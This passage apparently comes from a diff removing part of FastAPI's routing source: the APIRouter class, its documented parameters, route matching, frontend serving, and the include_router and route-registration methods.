match == Match.FULL and dependant and dependant.dependencies: - async with self._solve_dependencies( - scope, - receive, - send, - dependant=dependant, - dependency_overrides_provider=dependency_overrides_provider, - embed_body_fields=embed_body_fields, - ) as solved_result: - response = await route.app.get_response_for_scope(scope) - if response.background is None: - response.background = solved_result.background_tasks - response.headers.raw.extend(solved_result.response.headers.raw) - await response(scope, receive, send) - return - await route.handle(scope, receive, send) - - def url_path_for(self, name: str, /, **path_params: Any) -> URLPath: - raise NoMatchFound(name, path_params) - - # TODO: probably move this out of the Route / Route Group, same in APIRoute - # this should probably be top level FastAPI logic, not part of APIRoute and - # duplicated here - @asynccontextmanager - async def _solve_dependencies( - self, - scope: Scope, - receive: Receive, - send: Send, - *, - dependant: Dependant, - dependency_overrides_provider: Any | None, - embed_body_fields: bool, - ) -> AsyncIterator[SolvedDependency]: - request = Request(scope, receive, send) - previous_inner_astack = scope.get("fastapi_inner_astack", _SCOPE_MISSING) - previous_function_astack = scope.get("fastapi_function_astack", _SCOPE_MISSING) - try: - async with AsyncExitStack() as request_stack: - scope["fastapi_inner_astack"] = request_stack - async with AsyncExitStack() as function_stack: - scope["fastapi_function_astack"] = function_stack - solved_result = await solve_dependencies( - request=request, - dependant=dependant, - dependency_overrides_provider=dependency_overrides_provider, - async_exit_stack=request_stack, - embed_body_fields=embed_body_fields, - ) - if solved_result.errors: - raise RequestValidationError(solved_result.errors) - yield solved_result - finally: - if previous_inner_astack is _SCOPE_MISSING: - scope.pop("fastapi_inner_astack", None) - else: - scope["fastapi_inner_astack"] = previous_inner_astack - if previous_function_astack is _SCOPE_MISSING: - scope.pop("fastapi_function_astack", None) - else: - scope["fastapi_function_astack"] = previous_function_astack - - -class APIRouter(routing.Router): - """ - `APIRouter` class, used to group *path operations*, for example to structure - an app in multiple files. It would then be included in the `FastAPI` app, or - in another `APIRouter` (ultimately included in the app). - - Read more about it in the - [FastAPI docs for Bigger Applications - Multiple Files](https://fastapi.tiangolo.com/tutorial/bigger-applications/). - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - - app = FastAPI() - router = APIRouter() - - - @router.get("/users/", tags=["users"]) - async def read_users(): - return [{"username": "Rick"}, {"username": "Morty"}] - - - app.include_router(router) - ``` - """ - - def __init__( - self, - *, - prefix: Annotated[str, Doc("An optional path prefix for the router.")] = "", - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to all the *path operations* in this - router. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to all the - *path operations* in this router. - - Read more about it in the - [FastAPI docs for Bigger Applications - Multiple Files](https://fastapi.tiangolo.com/tutorial/bigger-applications/#include-an-apirouter-with-a-custom-prefix-tags-responses-and-dependencies). - """ - ), - ] = None, - default_response_class: Annotated[ - type[Response], - Doc( - """ - The default response class to be used. - - Read more in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#default-response-class). - """ - ), - ] = Default(JSONResponse), - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses to be shown in OpenAPI. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Additional Responses in OpenAPI](https://fastapi.tiangolo.com/advanced/additional-responses/). - - And in the - [FastAPI docs for Bigger Applications](https://fastapi.tiangolo.com/tutorial/bigger-applications/#include-an-apirouter-with-a-custom-prefix-tags-responses-and-dependencies). - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - OpenAPI callbacks that should apply to all *path operations* in this - router. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - routes: Annotated[ - list[BaseRoute] | None, - Doc( - """ - **Note**: you probably shouldn't use this parameter, it is inherited - from Starlette and supported for compatibility. - - --- - - A list of routes to serve incoming HTTP and WebSocket requests. - """ - ), - deprecated( - """ - You normally wouldn't use this parameter with FastAPI, it is inherited - from Starlette and supported for compatibility. - - In FastAPI, you normally would use the *path operation methods*, - like `router.get()`, `router.post()`, etc. - """ - ), - ] = None, - redirect_slashes: Annotated[ - bool, - Doc( - """ - Whether to detect and redirect slashes in URLs when the client doesn't - use the same format. - """ - ), - ] = True, - default: Annotated[ - ASGIApp | None, - Doc( - """ - Default function handler for this router. Used to handle - 404 Not Found errors. - """ - ), - ] = None, - dependency_overrides_provider: Annotated[ - Any | None, - Doc( - """ - Only used internally by FastAPI to handle dependency overrides. - - You shouldn't need to use it. It normally points to the `FastAPI` app - object. - """ - ), - ] = None, - route_class: Annotated[ - type[APIRoute], - Doc( - """ - Custom route (*path operation*) class to be used by this router. - - Read more about it in the - [FastAPI docs for Custom Request and APIRoute class](https://fastapi.tiangolo.com/how-to/custom-request-and-route/#custom-apiroute-class-in-a-router). - """ - ), - ] = APIRoute, - on_startup: Annotated[ - Sequence[Callable[[], Any]] | None, - Doc( - """ - A list of startup event handler functions. - - You should instead use the `lifespan` handlers. - - Read more in the [FastAPI docs for `lifespan`](https://fastapi.tiangolo.com/advanced/events/). - """ - ), - ] = None, - on_shutdown: Annotated[ - Sequence[Callable[[], Any]] | None, - Doc( - """ - A list of shutdown event handler functions. - - You should instead use the `lifespan` handlers. - - Read more in the - [FastAPI docs for `lifespan`](https://fastapi.tiangolo.com/advanced/events/). - """ - ), - ] = None, - # the generic to Lifespan[AppType] is the type of the top level application - # which the router cannot know statically, so we use typing.Any - lifespan: Annotated[ - Lifespan[Any] | None, - Doc( - """ - A `Lifespan` context manager handler. This replaces `startup` and - `shutdown` functions with a single context manager. - - Read more in the - [FastAPI docs for `lifespan`](https://fastapi.tiangolo.com/advanced/events/). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark all *path operations* in this router as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - To include (or not) all the *path operations* in this router in the - generated OpenAPI. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - strict_content_type: Annotated[ - bool, - Doc( - """ - Enable strict checking for request Content-Type headers. - - When `True` (the default), requests with a body that do not include - a `Content-Type` header will **not** be parsed as JSON. - - This prevents potential cross-site request forgery (CSRF) attacks - that exploit the browser's ability to send requests without a - Content-Type header, bypassing CORS preflight checks. In particular - applicable for apps that need to be run locally (in localhost). - - When `False`, requests without a `Content-Type` header will have - their body parsed as JSON, which maintains compatibility with - certain clients that don't send `Content-Type` headers. - - Read more about it in the - [FastAPI docs for Strict Content-Type](https://fastapi.tiangolo.com/advanced/strict-content-type/). - """ - ), - ] = Default(True), - ) -> None: - # Determine the lifespan context to use - if lifespan is None: - # Use the default lifespan that runs on_startup/on_shutdown handlers - lifespan_context: Lifespan[Any] = _DefaultLifespan(self) - elif inspect.isasyncgenfunction(lifespan): - lifespan_context = asynccontextmanager(lifespan) - elif inspect.isgeneratorfunction(lifespan): - lifespan_context = _wrap_gen_lifespan_context(lifespan) - else: - lifespan_context = lifespan - self.lifespan_context = lifespan_context - - super().__init__( - routes=routes, - redirect_slashes=redirect_slashes, - default=default, - lifespan=lifespan_context, - ) - if prefix: - assert prefix.startswith("/"), "A path prefix must start with '/'" - assert not prefix.endswith("/"), ( - "A path prefix must not end with '/', as the routes will start with '/'" - ) - - # Handle on_startup/on_shutdown locally since Starlette removed support - # Ref: https://github.com/Kludex/starlette/pull/3117 - # TODO: deprecate this once the lifespan (or alternative) interface is improved - self.on_startup: list[Callable[[], Any]] = ( - [] if on_startup is None else list(on_startup) - ) - self.on_shutdown: list[Callable[[], Any]] = ( - [] if on_shutdown is None else list(on_shutdown) - ) - - self.prefix = prefix - self.tags: list[str | Enum] = tags or [] - self.dependencies = list(dependencies or []) - self.deprecated = deprecated - self.include_in_schema = include_in_schema - self.responses = responses or {} - self.callbacks = callbacks or [] - self.dependency_overrides_provider = dependency_overrides_provider - self.route_class = route_class - self.default_response_class = default_response_class - self.generate_unique_id_function = generate_unique_id_function - self.strict_content_type = strict_content_type - self._routes_version = 0 - self._low_priority_routes: list[BaseRoute] = [] - self._frontend_routes: _FrontendRouteGroup | None = None - - def _mark_routes_changed(self) -> None: - self._routes_version += 1 - - def _get_routes_version(self, seen: set[int] | None = None) -> int: - if seen is None: - seen = set() - router_id = id(self) - if router_id in seen: - return self._routes_version - seen.add(router_id) - version = self._routes_version - for route in self.routes: - if isinstance(route, _IncludedRouter): - version += route.original_router._get_routes_version(seen) - return version - - def _contains_router( - self, router: "APIRouter", seen: set[int] | None = None - ) -> bool: - if seen is None: - seen = set() - router_id = id(self) - if router_id in seen: - return False - seen.add(router_id) - for route in self.routes: - if not isinstance(route, _IncludedRouter): - continue - if route.original_router is router: - return True - if route.original_router._contains_router(router, seen): - return True - return False - - def add_route( - self, - path: str, - endpoint: Callable[[Request], Awaitable[Response] | Response], - methods: Collection[str] | None = None, - name: str | None = None, - include_in_schema: bool = True, - ) -> None: - super().add_route( - path, - endpoint, - methods=methods, - name=name, - include_in_schema=include_in_schema, - ) - self._mark_routes_changed() - - def add_websocket_route( - self, - path: str, - endpoint: Callable[[WebSocket], Awaitable[None]], - name: str | None = None, - ) -> None: - super().add_websocket_route(path, endpoint, name=name) - self._mark_routes_changed() - - def frontend( - self, - path: Annotated[ - str, - Doc( - """ - The URL path prefix where the frontend build should be served. - """ - ), - ], - *, - directory: Annotated[ - str | os.PathLike[str], - Doc( - """ - The directory containing the static frontend build output. - """ - ), - ], - fallback: Annotated[ - Literal["auto", "index.html", "404.html"] | None, - Doc( - """ - The fallback file behavior for missing frontend paths. - """ - ), - ] = "auto", - check_dir: Annotated[ - bool | Literal["auto"], - Doc( - """ - Check that the frontend directory exists when the app is created. When - set to `"auto"`, skip the check with a warning when `FASTAPI_ENV` is - `"development"`, and check it otherwise. The `fastapi dev` command - sets `FASTAPI_ENV` to `"development"` if it is not already set. - """ - ), - ] = "auto", - ) -> None: - """ - Serve a static frontend build as low-priority routes. - - Use this for frontend tools that build static files into a directory, - such as `dist`. **FastAPI** path operations are checked first, and - the frontend files are checked only if no normal route matched. - - A typical project could look like this: - - ```text - . - ├── pyproject.toml - ├── app - │ ├── __init__.py - │ └── main.py - └── dist - ├── index.html - └── assets - └── app.js - ``` - - Then in `app/main.py`: - - ```python - from fastapi import APIRouter, FastAPI - - app = FastAPI() - router = APIRouter() - router.frontend("/", directory="dist") - app.include_router(router) - ``` - """ - check_dir = _resolve_frontend_check_dir( - directory=directory, check_dir=check_dir - ) - normalized_path = _normalize_frontend_path(path) - if self._frontend_routes is None: - self._frontend_routes = _FrontendRouteGroup( - dependencies=self.dependencies, - dependency_overrides_provider=self.dependency_overrides_provider, - ) - self._low_priority_routes.append(self._frontend_routes) - self._frontend_routes.add_frontend_route( - _join_frontend_paths(self.prefix, normalized_path), - directory=directory, - fallback=fallback, - check_dir=check_dir, - ) - self._mark_routes_changed() - - async def app(self, scope: Scope, receive: Receive, send: Send) -> None: - assert scope["type"] in ("http", "websocket", "lifespan") - - if "router" not in scope: - scope["router"] = self - - if scope["type"] == "lifespan": - await self.lifespan(scope, receive, send) - return - - partial: tuple[BaseRoute, Scope] | None = None - for route in self.routes: - match, child_scope = route.matches(scope) - if match == Match.FULL: - scope.update(child_scope) - await route.handle(scope, receive, send) - return - if match == Match.PARTIAL and partial is None: - partial = (route, child_scope) - - if partial is not None: - route, child_scope = partial - scope.update(child_scope) - await route.handle(scope, receive, send) - return - - route_path = get_route_path(scope) - if scope["type"] == "http" and self.redirect_slashes and route_path != "/": - redirect_scope = dict(scope) - if route_path.endswith("/"): - redirect_scope["path"] = redirect_scope["path"].rstrip("/") - else: - redirect_scope["path"] = redirect_scope["path"] + "/" - - for route in self.routes: - match, _ = route.matches(redirect_scope) - if match != Match.NONE: - redirect_url = URL(scope=redirect_scope) - response = RedirectResponse(url=str(redirect_url)) - await response(scope, receive, send) - return - - ( - low_priority_match, - low_priority_scope, - low_priority_route, - low_priority_context, - ) = self._match_low_priority(scope) - if low_priority_match != Match.NONE and low_priority_route is not None: - _update_scope(scope, low_priority_scope) - if low_priority_context is not None: - _get_fastapi_scope(scope)[_FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY] = ( - low_priority_context - ) - original_route = low_priority_context.original_route - if isinstance(original_route, APIRoute): - scope["route"] = original_route - await original_route.handle(scope, receive, send) - return - await low_priority_route.handle(scope, receive, send) - return - - await self.default(scope, receive, send) - - async def handle(self, scope: Scope, receive: Receive, send: Send) -> None: - included_router = _get_scope_included_router(scope) - if ( - isinstance(included_router, _IncludedRouter) - and included_router.original_router is self - ): - await included_router._handle_selected(scope, receive, send) - return - await self.app(scope, receive, send) - - def matches(self, scope: Scope) -> tuple[Match, Scope]: - included_router = _get_scope_included_router(scope) - if ( - isinstance(included_router, _IncludedRouter) - and included_router.original_router is self - ): - match, child_scope, _, _ = included_router._match(scope) - return match, child_scope - return Match.NONE, {} - - def _iter_low_priority_routes( - self, - ) -> Iterator[BaseRoute | _EffectiveRouteContext]: - yield from self._low_priority_routes - for route in self.routes: - if isinstance(route, _IncludedRouter): - yield from route.effective_low_priority_routes() - - def _match_low_priority( - self, scope: Scope - ) -> tuple[Match, Scope, BaseRoute | None, _EffectiveRouteContext | None]: - full: tuple[Scope, BaseRoute, _EffectiveRouteContext | None] | None = None - partial: tuple[Scope, BaseRoute, _EffectiveRouteContext | None] | None = None - for candidate in self._iter_low_priority_routes(): - route: BaseRoute - if isinstance(candidate, _EffectiveRouteContext): - route_context: _EffectiveRouteContext | None = candidate - original_route = candidate.original_route - if isinstance(original_route, APIRoute): - fastapi_scope = _get_fastapi_scope(scope) - previous_context = fastapi_scope.get( - _FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY, _SCOPE_MISSING - ) - fastapi_scope[_FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY] = route_context - try: - match, child_scope = original_route.matches(scope) - finally: - _restore_fastapi_scope_key( - scope, - _FASTAPI_EFFECTIVE_ROUTE_CONTEXT_KEY, - previous_context, - ) - route = original_route - else: - match, child_scope = candidate.matches(scope) - route = candidate.starlette_route or original_route - else: - route_context = None - match, child_scope = candidate.matches(scope) - route = candidate - if match == Match.FULL: - if full is None or self._frontend_match_is_more_specific( - child_scope, full[0] - ): - full = (child_scope, route, route_context) - elif match == Match.PARTIAL: - if partial is None or self._frontend_match_is_more_specific( - child_scope, partial[0] - ): - partial = (child_scope, route, route_context) - if full is not None: - child_scope, route, route_context = full - return Match.FULL, child_scope, route, route_context - if partial is not None: - child_scope, route, route_context = partial - return Match.PARTIAL, child_scope, route, route_context - return Match.NONE, {}, None, None - - def _frontend_match_is_more_specific( - self, child_scope: Scope, previous_child_scope: Scope - ) -> bool: - specificity = _frontend_scope_specificity(child_scope) - previous_specificity = _frontend_scope_specificity(previous_child_scope) - if specificity is None or previous_specificity is None: - return False - return specificity > previous_specificity - - def route( - self, - path: str, - methods: Collection[str] | None = None, - name: str | None = None, - include_in_schema: bool = True, - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.add_route( - path, - func, - methods=methods, - name=name, - include_in_schema=include_in_schema, - ) - return func - - return decorator - - def add_api_route( - self, - path: str, - endpoint: Callable[..., Any], - *, - response_model: Any = Default(None), - status_code: int | None = None, - tags: list[str | Enum] | None = None, - dependencies: Sequence[params.Depends] | None = None, - summary: str | None = None, - description: str | None = None, - response_description: str = "Successful Response", - responses: dict[int | str, dict[str, Any]] | None = None, - deprecated: bool | None = None, - methods: set[str] | list[str] | None = None, - operation_id: str | None = None, - response_model_include: IncEx | None = None, - response_model_exclude: IncEx | None = None, - response_model_by_alias: bool = True, - response_model_exclude_unset: bool = False, - response_model_exclude_defaults: bool = False, - response_model_exclude_none: bool = False, - include_in_schema: bool = True, - response_class: type[Response] | DefaultPlaceholder = Default(JSONResponse), - name: str | None = None, - route_class_override: type[APIRoute] | None = None, - callbacks: list[BaseRoute] | None = None, - openapi_extra: dict[str, Any] | None = None, - generate_unique_id_function: Callable[[APIRoute], str] - | DefaultPlaceholder = Default(generate_unique_id), - strict_content_type: bool | DefaultPlaceholder = Default(True), - ) -> None: - route_class = route_class_override or self.route_class - responses = responses or {} - combined_responses = {**self.responses, **responses} - current_response_class = get_value_or_default( - response_class, self.default_response_class - ) - current_tags = self.tags.copy() - if tags: - current_tags.extend(tags) - current_dependencies = self.dependencies.copy() - if dependencies: - current_dependencies.extend(dependencies) - current_callbacks = self.callbacks.copy() - if callbacks: - current_callbacks.extend(callbacks) - current_generate_unique_id = get_value_or_default( - generate_unique_id_function, self.generate_unique_id_function - ) - route = route_class( - self.prefix + path, - endpoint=endpoint, - response_model=response_model, - status_code=status_code, - tags=current_tags, - dependencies=current_dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=combined_responses, - deprecated=deprecated or self.deprecated, - methods=methods, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema and self.include_in_schema, - response_class=current_response_class, - name=name, - dependency_overrides_provider=self.dependency_overrides_provider, - callbacks=current_callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=current_generate_unique_id, - strict_content_type=get_value_or_default( - strict_content_type, self.strict_content_type - ), - ) - self.routes.append(route) - self._mark_routes_changed() - - def api_route( - self, - path: str, - *, - response_model: Any = Default(None), - status_code: int | None = None, - tags: list[str | Enum] | None = None, - dependencies: Sequence[params.Depends] | None = None, - summary: str | None = None, - description: str | None = None, - response_description: str = "Successful Response", - responses: dict[int | str, dict[str, Any]] | None = None, - deprecated: bool | None = None, - methods: list[str] | None = None, - operation_id: str | None = None, - response_model_include: IncEx | None = None, - response_model_exclude: IncEx | None = None, - response_model_by_alias: bool = True, - response_model_exclude_unset: bool = False, - response_model_exclude_defaults: bool = False, - response_model_exclude_none: bool = False, - include_in_schema: bool = True, - response_class: type[Response] = Default(JSONResponse), - name: str | None = None, - callbacks: list[BaseRoute] | None = None, - openapi_extra: dict[str, Any] | None = None, - generate_unique_id_function: Callable[[APIRoute], str] = Default( - generate_unique_id - ), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.add_api_route( - path, - func, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=methods, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - return func - - return decorator - - def add_api_websocket_route( - self, - path: str, - endpoint: Callable[..., Any], - name: str | None = None, - *, - dependencies: Sequence[params.Depends] | None = None, - ) -> None: - current_dependencies = self.dependencies.copy() - if dependencies: - current_dependencies.extend(dependencies) - - route = APIWebSocketRoute( - self.prefix + path, - endpoint=endpoint, - name=name, - dependencies=current_dependencies, - dependency_overrides_provider=self.dependency_overrides_provider, - ) - self.routes.append(route) - self._mark_routes_changed() - - def websocket( - self, - path: Annotated[ - str, - Doc( - """ - WebSocket path. - """ - ), - ], - name: Annotated[ - str | None, - Doc( - """ - A name for the WebSocket. Only used internally. - """ - ), - ] = None, - *, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be used for this - WebSocket. - - Read more about it in the - [FastAPI docs for WebSockets](https://fastapi.tiangolo.com/advanced/websockets/). - """ - ), - ] = None, - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Decorate a WebSocket function. - - Read more about it in the - [FastAPI docs for WebSockets](https://fastapi.tiangolo.com/advanced/websockets/). - - **Example** - - ## Example - - ```python - from fastapi import APIRouter, FastAPI, WebSocket - - app = FastAPI() - router = APIRouter() - - @router.websocket("/ws") - async def websocket_endpoint(websocket: WebSocket): - await websocket.accept() - while True: - data = await websocket.receive_text() - await websocket.send_text(f"Message text was: {data}") - - app.include_router(router) - ``` - """ - - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.add_api_websocket_route( - path, func, name=name, dependencies=dependencies - ) - return func - - return decorator - - def websocket_route( - self, path: str, name: str | None = None - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.add_websocket_route(path, func, name=name) - return func - - return decorator - - def include_router( - self, - router: Annotated["APIRouter", Doc("The `APIRouter` to include.")], - *, - prefix: Annotated[str, Doc("An optional path prefix for the router.")] = "", - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to all the *path operations* in this - router. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to all the - *path operations* in this router. - - Read more about it in the - [FastAPI docs for Bigger Applications - Multiple Files](https://fastapi.tiangolo.com/tutorial/bigger-applications/#include-an-apirouter-with-a-custom-prefix-tags-responses-and-dependencies). - """ - ), - ] = None, - default_response_class: Annotated[ - type[Response], - Doc( - """ - The default response class to be used. - - Read more in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#default-response-class). - """ - ), - ] = Default(JSONResponse), - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses to be shown in OpenAPI. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Additional Responses in OpenAPI](https://fastapi.tiangolo.com/advanced/additional-responses/). - - And in the - [FastAPI docs for Bigger Applications](https://fastapi.tiangolo.com/tutorial/bigger-applications/#include-an-apirouter-with-a-custom-prefix-tags-responses-and-dependencies). - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - OpenAPI callbacks that should apply to all *path operations* in this - router. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark all *path operations* in this router as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include (or not) all the *path operations* in this router in the - generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = True, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> None: - """ - Include another `APIRouter` in the same current `APIRouter`. - - Read more about it in the - [FastAPI docs for Bigger Applications](https://fastapi.tiangolo.com/tutorial/bigger-applications/). - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - - app = FastAPI() - internal_router = APIRouter() - users_router = APIRouter() - - @users_router.get("/users/") - def read_users(): - return [{"name": "Rick"}, {"name": "Morty"}] - - internal_router.include_router(users_router) - app.include_router(internal_router) - ``` - """ - assert self is not router, ( - "Cannot include the same APIRouter instance into itself. " - "Did you mean to include a different router?" - ) - assert not router._contains_router(self), ( - "Cannot include an APIRouter instance that already includes this router. " - "Did you mean to include a different router?" - ) - if prefix: - assert prefix.startswith("/"), "A path prefix must start with '/'" - assert not prefix.endswith("/"), ( - "A path prefix must not end with '/', as the routes will start with '/'" - ) - else: - for route, route_context in _iter_routes_with_context(router.routes): - if route_context is None: - path = getattr(route, "path", None) - name = getattr(route, "name", "unknown") - elif route_context.starlette_route is not None: - path = getattr(route_context.starlette_route, "path", None) - name = getattr(route_context.starlette_route, "name", "unknown") - else: - path = route_context.path - name = route_context.name - if path is not None and not path: - raise FastAPIError( - f"Prefix and path cannot be both empty (path operation: {name})" - ) - include_context = _RouterIncludeContext.for_include( - parent_router=self, - included_router=router, - prefix=prefix, - tags=tags, - dependencies=dependencies, - default_response_class=default_response_class, - responses=responses, - callbacks=callbacks, - deprecated=deprecated, - include_in_schema=include_in_schema, - generate_unique_id_function=generate_unique_id_function, - ) - self.routes.append( - _IncludedRouter(original_router=router, include_context=include_context) - ) - self._mark_routes_changed() - for handler in router.on_startup: - self.add_event_handler("startup", handler) - for handler in router.on_shutdown: - self.add_event_handler("shutdown", handler) - self.lifespan_context = _merge_lifespan_context( - self.lifespan_context, - router.lifespan_context, - ) - - def get( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | 